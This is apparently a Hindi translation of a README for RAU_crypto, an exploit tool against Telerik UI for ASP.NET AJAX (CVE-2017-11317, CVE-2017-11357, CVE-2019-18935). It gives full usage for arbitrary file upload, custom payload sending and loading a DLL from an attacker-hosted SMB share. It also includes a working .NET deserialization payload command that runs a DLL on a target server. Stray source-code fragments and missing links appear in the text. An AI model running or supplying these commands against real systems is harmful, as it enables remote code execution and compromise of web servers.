
Telerik UI for ASP.NET AJAX फ़ाइल अपलोड और .NET डिसीरियलाइज़ेशन शोषण (CVE-2017-11317, CVE-2017-11357, CVE-2019-18935)
Telerik UI for ASP.NET AJAX के लिए संयुक्त एक्सप्लॉइट।
अब लक्ष्य की एक हमलावर-होस्टेड SMB सेवा से रिमोट पेलोड खींचने की क्षमता का परीक्षण करने का समर्थन करता है। आवश्यक पूर्व-आवश्यकताओं के स्थान पर होने का परीक्षण करने के लिए Burp Collaborator और/या Responder का उपयोग करें।
शोषण के काम करने के लिए, आमतौर पर आपको हार्ड कोडेड कुंजियों वाले संस्करण की आवश्यकता होती है, या आपको कुंजी जानने की आवश्यकता होती है, उदाहरण के लिए यदि आप web.config की सामग्री का खुलासा कर सकते हैं। एक्सप्लॉइट Telerik.Web.UI.WebResource.axd?type=rau के साथ उपयोग किए जाने वाले rauPostData के सीधे डिक्रिप्शन और एन्क्रिप्शन की भी अनुमति देता है।
pip3 install pycryptodome या pip3 install pycryptodomex से इंस्टॉल किया जाता हैमेरा दूसरा Telerik UI एक्सप्लॉइट (CVE-2017-9248 के लिए) भी संभवतः रुचिकर होगा। यह यहाँ उपलब्ध है:
नोट - अंतिम चार आइटम पूर्ण हैं लेकिन जारी नहीं किए गए हैं।
फ़ाइल अपलोड (CVE-2017-11317) कमजोरी दूसरों द्वारा खोजी गई थी, मेरा मानना है कि श्रेय @straight_blast @pwntester @olekmirosh को जाता है। इसकी घोषणा के कुछ ही समय बाद, मुझे अपने काम के दौरान Telerik लाइब्रेरी मिली, इसलिए मैंने इसका और कमजोरी का शोध किया और जुलाई 2017 में यह एक्सप्लॉइट लिखा। मैंने संबंधित असुरक्षित प्रत्यक्ष ऑब्जेक्ट संदर्भ के लिए CVE-2017-11357 की भी रिपोर्ट की।
.NET डिसीरियलाइज़ेशन (CVE-2019-18935) कमजोरी @mwulftange द्वारा खोजी गई थी।
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py -h
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Check remote SMB payload capability -r lhost url [proxy]
Load remote SMB dll payload -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
Decrypt screenshot
Upload screenshot
.NET डिसीरियलाइज़ेशन के लिए कस्टम पेलोड के विवरण के लिए, @mwulftange द्वारा एक बेहतरीन लेख है, जिन्होंने Code White ब्लॉग पर इस कमजोरी की खोज की, निम्नलिखित लिंक पर।
अद्यतन - Caleb Gross @noperator द्वारा एक वैकल्पिक एक्सप्लॉइट है, जो इस एक्सप्लॉइट की सुविधाओं को शामिल करता है, एक बेहतरीन ब्लॉग लेख के साथ जो सब कुछ समझाता है। RAU_Crypto में योगदान के लिए Caleb को भी धन्यवाद।
अन्य प्रासंगिक लिंक।
उदाहरण .NET डिसीरियलाइज़ेशन पेलोड:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
मिश्रित मोड DLL के लिए, मेरा अन्य GitHub रिपॉजिटरी देखें:
विशेष धन्यवाद @irsdl को जिन्होंने कस्टम पेलोड सुविधा को प्रेरित किया।
श्रेय @rwincey को जिन्होंने रिमोट dll सुविधा को प्रेरित किया।